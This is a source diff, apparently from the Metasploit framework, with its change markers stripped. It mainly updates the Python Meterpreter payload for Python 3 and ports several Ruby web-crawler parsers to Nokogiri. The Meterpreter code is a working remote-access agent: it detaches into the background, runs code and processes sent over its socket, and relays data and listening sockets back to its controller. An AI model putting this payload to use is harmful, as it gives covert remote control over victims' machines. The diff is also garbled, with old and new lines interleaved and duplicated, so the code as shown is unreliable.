TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||
|
||||
EXPORTED_SYMBOLS = {}
|
||||
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
||||
|
||||
def export(symbol):
|
||||
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||
return symbol
|
||||
|
||||
def generate_request_id():
|
||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in xrange(32))
|
||||
return ''.join(random.choice(chars) for x in range(32))
|
||||
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
return {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
return {}
|
||||
@export
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
@export
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
|
|
@ -118,9 +148,11 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
val = str(val.split(NULL_BYTE, 1)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
val = struct.unpack('>Q', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
|
|
@ -129,63 +161,108 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
@export
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
try:
|
||||
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||
except IndexError:
|
||||
return {}
|
||||
return tlv
|
||||
|
||||
@export
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
else:
|
||||
tlv = args[0]
|
||||
data = ""
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
|
||||
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
return data
|
||||
|
||||
#@export
|
||||
class MeterpreterFile(object):
|
||||
def __init__(self, file_obj):
|
||||
self.file_obj = file_obj
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.file_obj, name)
|
||||
export(MeterpreterFile)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(object):
|
||||
def __init__(self, sock):
|
||||
self.sock = sock
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.sock, name)
|
||||
export(MeterpreterSocket)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketClient(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketClient)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketServer(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketServer)
|
||||
|
||||
class STDProcessBuffer(threading.Thread):
|
||||
def __init__(self, std, is_alive):
|
||||
threading.Thread.__init__(self)
|
||||
self.std = std
|
||||
self.is_alive = is_alive
|
||||
self.data = ''
|
||||
self.data = bytes()
|
||||
self.data_lock = threading.RLock()
|
||||
|
||||
def run(self):
|
||||
while self.is_alive():
|
||||
byte = self.std.read(1)
|
||||
for byte in iter(lambda: self.std.read(1), bytes()):
|
||||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
return len(self.data) != 0
|
||||
|
||||
def read(self, l = None):
|
||||
data = ''
|
||||
def peek(self, l = None):
|
||||
data = bytes()
|
||||
self.data_lock.acquire()
|
||||
if l == None:
|
||||
data = self.data
|
||||
self.data = ''
|
||||
else:
|
||||
data = self.data[0:l]
|
||||
self.data = self.data[l:]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
def read(self, l = None):
|
||||
self.data_lock.acquire()
|
||||
data = self.peek(l)
|
||||
self.data = self.data[len(data):]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
#@export
|
||||
class STDProcess(subprocess.Popen):
|
||||
def __init__(self, *args, **kwargs):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
self.echo_protection = False
|
||||
|
||||
def start(self):
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||
|
|
@ -193,6 +270,19 @@ class STDProcess(subprocess.Popen):
|
|||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader.start()
|
||||
|
||||
def write(self, channel_data):
|
||||
self.stdin.write(channel_data)
|
||||
self.stdin.flush()
|
||||
if self.echo_protection:
|
||||
end_time = time.time() + 0.5
|
||||
out_data = bytes()
|
||||
while (time.time() < end_time) and (out_data != channel_data):
|
||||
if self.stdout_reader.is_read_ready():
|
||||
out_data = self.stdout_reader.peek(len(channel_data))
|
||||
if out_data == channel_data:
|
||||
self.stdout_reader.read(len(channel_data))
|
||||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
self.socket = socket
|
||||
|
|
@ -200,18 +290,21 @@ class PythonMeterpreter(object):
|
|||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in filter(lambda x: x.startswith('_core'), dir(self)):
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
self.running = True
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
return func
|
||||
|
||||
def register_function_windll(self, func):
|
||||
if has_windll:
|
||||
self.register_function(func)
|
||||
return func
|
||||
|
||||
def add_channel(self, channel):
|
||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
||||
idx = 0
|
||||
while idx in self.channels:
|
||||
idx += 1
|
||||
|
|
@ -233,36 +326,52 @@ class PythonMeterpreter(object):
|
|||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = ''
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
else:
|
||||
channels_for_removal = []
|
||||
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
data = bytes()
|
||||
if isinstance(channel, STDProcess):
|
||||
if not channel_id in self.interact_channels:
|
||||
continue
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.stderr_reader.is_read_ready():
|
||||
if channel.stderr_reader.is_read_ready():
|
||||
data = channel.stderr_reader.read()
|
||||
elif channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterSocketClient):
|
||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
try:
|
||||
d = channel.recv(1)
|
||||
except socket.error:
|
||||
d = ''
|
||||
d = bytes()
|
||||
if len(d) == 0:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
data += d
|
||||
elif isinstance(channel, MeterpreterSocketServer):
|
||||
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
(client_sock, client_addr) = channel.accept()
|
||||
server_addr = channel.getsockname()
|
||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
|
@ -288,11 +397,13 @@ class PythonMeterpreter(object):
|
|||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
preloadlib_methods = list(self.extension_functions.keys())
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
postloadlib_methods = list(self.extension_functions.keys())
|
||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||
for method in new_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
|
@ -304,7 +415,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def _core_channel_open(self, request, response):
|
||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_create_' + channel_type['value']
|
||||
handler = 'channel_open_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
return ERROR_FAILURE, response
|
||||
handler = self.extension_functions[handler]
|
||||
|
|
@ -315,11 +426,11 @@ class PythonMeterpreter(object):
|
|||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
if isinstance(channel, file):
|
||||
channel.close()
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(s, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.close()
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
channel.close()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
|
|
@ -334,8 +445,8 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, file):
|
||||
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
||||
if isinstance(channel, MeterpreterFile):
|
||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
|
@ -361,14 +472,14 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, file):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, STDProcess):
|
||||
if isinstance(channel, STDProcess):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
|
|
@ -383,14 +494,14 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
l = len(channel_data)
|
||||
if isinstance(channel, file):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.stdin.write(channel_data)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
except socket.error:
|
||||
|
|
@ -414,13 +525,17 @@ class PythonMeterpreter(object):
|
|||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
if DEBUGGING:
|
||||
print('[*] running method ' + handler_name)
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
except Exception:
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' resulted in an error')
|
||||
traceback.print_exc(file=sys.stderr)
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
|
@ -428,6 +543,9 @@ class PythonMeterpreter(object):
|
|||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
os.setsid()
|
||||
try:
|
||||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerSimple < BaseParser
|
||||
|
|
@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser
|
|||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('a').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('a').each do |anchor_tag|
|
||||
hr = anchor_tag['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerForms < BaseParser
|
||||
|
|
@ -27,49 +27,30 @@ class CrawlerForms < BaseParser
|
|||
hr = ''
|
||||
m = ''
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('form').each do |f|
|
||||
hr = f.attributes['action']
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('form').each do |f|
|
||||
hr = f['action']
|
||||
|
||||
fname = f.attributes['name']
|
||||
if fname.empty?
|
||||
fname = "NONE"
|
||||
end
|
||||
fname = f['name']
|
||||
fname = "NONE" if fname.empty?
|
||||
|
||||
m = "GET"
|
||||
if !f.attributes['method'].empty?
|
||||
m = f.attributes['method'].upcase
|
||||
end
|
||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
||||
|
||||
#puts "Parsing form name: #{fname} (#{m})"
|
||||
|
||||
htmlform = Hpricot(f.inner_html)
|
||||
htmlform = Nokogiri::HTML(f.inner_html)
|
||||
|
||||
arrdata = []
|
||||
|
||||
htmlform.search('input').each do |p|
|
||||
#puts p.attributes['name']
|
||||
#puts p.attributes['type']
|
||||
#puts p.attributes['value']
|
||||
|
||||
#raw_request has uri_encoding disabled as it encodes '='.
|
||||
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
|
||||
htmlform.css('input').each do |p|
|
||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||
end
|
||||
|
||||
data = arrdata.join("&").to_s
|
||||
|
||||
|
||||
begin
|
||||
hreq = urltohash(m,hr,request['uri'],data)
|
||||
|
||||
hreq = urltohash(m, hr, request['uri'], data)
|
||||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -9,33 +9,29 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerFrames < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('iframe').each do |ifra|
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('iframe').each do |ifra|
|
||||
ir = ifra['src']
|
||||
|
||||
ir = ifra.attributes['src']
|
||||
|
||||
if ir and !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',ir,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Error"
|
||||
if ir && !ir.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
|||
|
|
@ -10,33 +10,26 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerImage < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('img').each do |i|
|
||||
|
||||
im = i.attributes['src']
|
||||
|
||||
if im and !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',im,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{i[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('img').each do |i|
|
||||
im = i['src']
|
||||
if im && !im.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', im, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -10,33 +10,25 @@
|
|||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerLink < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('link').each do |link|
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('link').each do |link|
|
||||
hr = link['href']
|
||||
if hr && !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
